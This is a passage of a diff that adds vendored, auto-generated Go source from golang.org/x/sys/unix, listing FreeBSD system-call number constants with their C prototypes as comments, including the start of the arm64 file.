-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go
-new file mode 100644
-index 00000000..3e51af8e
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go
-@@ -0,0 +1,396 @@
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build arm64,freebsd
-+
-+package unix
-+
-+const (
-+ // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
